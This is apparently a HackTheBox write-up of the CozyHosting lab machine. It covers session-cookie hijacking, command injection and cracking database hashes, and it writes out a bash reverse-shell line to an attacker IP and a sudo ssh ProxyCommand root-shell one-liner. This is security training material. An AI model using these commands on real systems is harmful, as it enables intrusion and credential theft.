CozyHosting HTB Writeup

An easy Linux machine worth 20pts

Machine: CozyHosting

Platform: HackTheBox

IP Address: 10.10.20.230

Operating System: Linux

Step One: NMap Scan

Every HackTheBox challenge begins with an initial NMap scan. The following command can be used with the specified flags to scan the target IP address:

nmap -A -vv 10.10.11.30 > nmap.txt

The NMap scan results reveal open ports 22 and 80.

Based on the findings, it's likely that the initial access will be through a service on port 80, where the Nginx web server is running. While the Nginx version is 1.18.0, it's unlikely that the initial exploit will target Nginx, as it has a fairly strong security history. Instead, the exploit might target the application running on that server. The application is likely custom-built and, therefore, more susceptible to vulnerabilities.

Attempting to access the web service via the IP address redirects to cozyhosting.htb (the machine's name). This situation often requires the attacker to modify their host file to associate that IP address with the domain name cozyhosting.htb.

To edit the host file the attacker can use a text editor program such as VI to open the file at /etc/hosts and add an entry for cozyhosting.htb at the mahcines IP address.

Once the host file is edited, the attacker is able to access the web service via the domain cozyhosting.htb.





Step Two: Enumeration

After the initial NMap scan, it's worth checking for other web pages that might have vulnerabilities. Use a tool like DirBuster to search for hidden pages and directories not directly linked on the page. DirBuster uses a wordlist to find these pages.

You can configure DirBuster to run in the background while you continue to enumerate the system.

While DirBuster runs, explore the web pages or run other tools and scans you may have access to.

On the web page, there is a link to a login page. When clicked the user is redirected to an admin login page:

Some inputs in the login page generate error messages, indicating a lack of error handling on the application side.

Searching for common exploits related to these error messages can provide hints of potential misconfigurations or information leakage.

Clicking a link to the PositionIsEverything.net webpage reveals that the application is a Spring Boot application, a common open-source Java framework for rapidly developing new applications.

Further exploration uncovers a potential security vulnerability related to the application's session tokens:

Knowing that the application is built with Spring Boot, you can use a wordlist from SecLists specifically designed for Spring Boot directory busting. This wordlist is more tailored to the running application, potentially revealing unique directories the default DirBuster wordlist might miss.

Configure DirBuster to use the SecLists wordlist for the new directory search:

After running for a few minutes, the new wordlist produces results, including the "sessions" directory, which may contain valuable information.

An attacker may find a session ID for a user called "kanderson," which hints at a possible vulnerability in the admin login page linked on the index page. The admin login page contains a cookie called "JSESSIONID." Updating the cookie with the new session ID from the sessions page might bypass the username and password requirement.

Using the EditThisCookie extension for Firefox, an attacker is able change the session cookie to the one for the "kanderson" user and gain access to the admin dashboard.





Step Three: Initial Foothold

The admin dashboard provides a single area for user input. Certain values entered in the "Connection Settings" text boxes generate error messages indicating validation issues, while others produce different error messages.

The "Bad Request" error is unhandled by the application and originates from the server. In the URL of the error page, a standard error message from SSH, as seen in the initial NMap scan, is visible. This suggests that the user input field is directly fed into a bash shell, potentially allowing an attacker to run remote commands.

BurpSuite's "Repeater" tool allows an attacker to save an HTTP request and make modifications before sending it again. This is valuable when attempting to escape input strings and execute commands on the remote machine, as is the case here.

Here's an example of an attacker escaping the input string in the application and running a bash command on the remote machine:

An attacker can leverage the ability to run code on the remote machine to establish a reverse shell connection to their own computer. While the application has some validation checks, encoding the command in base64 and adding a decode command to the request can successfully execute the reverse shell:

Example of a working reverse shell command:

sh -i >& /dev/tcp/10.10.14.20/1234 0>&1

With this, the attacker gains a remote shell on the target machine.





Step Four: User Own

With a foothold on the system, the attacker can execute commands and explore the machine. Sensitive information, such as source code (as seen in the image), is a prime target for attackers. It may contain usernames, passwords, admin-only functions, or even vulnerabilities that can be exploited.

An attacker can exfiltrate the source code using a simple Python HTTP server. This allows them to download files with a simple GET request, enabling them to gather data for later use.

Example of data exfiltration on the source code:

In the source code, the username and password for a Postgres database can be found. An attacker can use this information to gain access to more data and potentially discover other credentials used in the application.

The attacker can log in to the Postgres database, where hashed passwords are stored. These hashes may need to be cracked for further use.



To crack these hashes, an attacker must identify the hashing function used. In this case, the hashes are bcrypt, which can be easily determined through a quick online search.

JohnTheRipper is a popular tool for cracking hashed passwords, and the RockYou.txt wordlist often yields good results in HackTheBox scenarios. Here's a command using JohnTheRipper to attempt cracking the hashed passwords from the Postgres database:

As is common in HackTheBox, the RockYou.txt wordlist successfully cracks a password:

With the password, the attacker can attempt to guess the username. In Linux, even low-level users can see directory names in the home folder. In this case, the attacker can see a user named "Josh." Using the discovered password, the attacker can use the su command to switch to the "Josh" user with escalated privileges.

With user-level permissions, the attacker can read the "user.txt" file in Josh's home directory, successfully capturing the user flag for this machine.





Step Five: Root Own

Now that the attacker has the login details of the "Josh" user, they can SSH into the machine at any time and obtain a fully functional remote terminal. This enables the user to search for further privilege escalation opportunities to gain root access.

One common method for escalating privileges is to exploit commands that the current user can run as root. To check which commands the user can run with root privileges, use the command sudo -l. This lists all available commands with root privileges that the current user can run.

In the case of this machine, the "Josh" user can run SSH commands as root. A search on GTFOBins reveals potential ways to upgrade the session to root. For example, running the command sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x can return a root shell.

After running the GTFOBins command, the attacker gains root access to the machine, allowing them to read the "root.txt" flag and complete the HackTheBox challenge.